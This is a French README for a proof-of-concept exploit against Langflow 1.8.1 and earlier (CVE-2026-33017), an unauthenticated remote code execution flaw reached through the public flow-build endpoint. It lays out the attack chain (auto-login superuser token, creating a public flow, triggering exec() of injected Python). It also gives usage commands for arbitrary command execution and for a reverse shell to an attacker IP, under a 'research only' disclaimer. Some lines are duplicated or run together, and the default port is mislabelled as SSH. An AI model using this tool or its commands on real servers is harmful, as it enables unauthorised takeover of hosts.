
La vulnérabilité dans Langflow 1.8.1 et versions antérieures permet à un attaquant distant non authentifié d'exécuter des commandes arbitraires sur l'hôte.
La vulnérabilité dans Langflow 1.8.1 et versions antérieures permet à un attaquant distant non authentifié d'exécuter des commandes arbitraires sur l'hôte.
Le point de terminaison POST /api/v1/build_public_tmp/{flow_id}/flow permet à quiconque de construire des flux publics sans authentification.
En fournissant le paramètre de données optionnel, un attaquant peut remplacer le flux stocké par sa propre définition personnalisée, en intégrant du code Python arbitraire dans les configurations de nœuds. Ce code contrôlé par l'utilisateur est exécuté via exec() sans sandbox ni validation, conduisant à une exécution de code à distance non authentifiée.
Langflow 1.8.1 et versions antérieures
AUTO_LOGIN=trueLorsque AUTO_LOGIN=true (configuration par défaut), un attaquant non authentifié peut satisfaire toutes les conditions :
GET /api/v1/auto_login → obtenir un jeton superutilisateurPOST /api/v1/flows/ → créer un flux publicbuild_public_tmp sans aucune authentificationpython cve-2026-33017.py <host> [options]
Options :
-p PORT, --port PORT : port SSH (défaut : 7860)
-id FLOW_ID, --flow_id FLOW_ID : ID du flux public (un nouveau sera créé s'il est omis)
-c COMMAND, --command COMMAND : commande personnalisée à exécuter
--shell : lance un shell inversé
--lhost LHOST : IP de l'attaquant pour le shell inversé
--lport LPORT : port de l'attaquant pour le shell inversé (défaut : 4444)
-t TIMEOUT, --timeout TIMEOUT : délai d'expiration de la connexion en secondes (défaut : 5)
python cve-2026-33017.py 127.0.0.1 -c 'touch /tmp/pwned.txt'
python cve-2026-33017 127.0.0.1 --shell --lhost 192.168.1.100 --lport 4444
Ce PoC est destiné uniquement à des fins éducatives et de recherche. Utilisez-le à vos propres risques. L'auteur n'est pas responsable de toute utilisation abusive ou de tout dommage causé.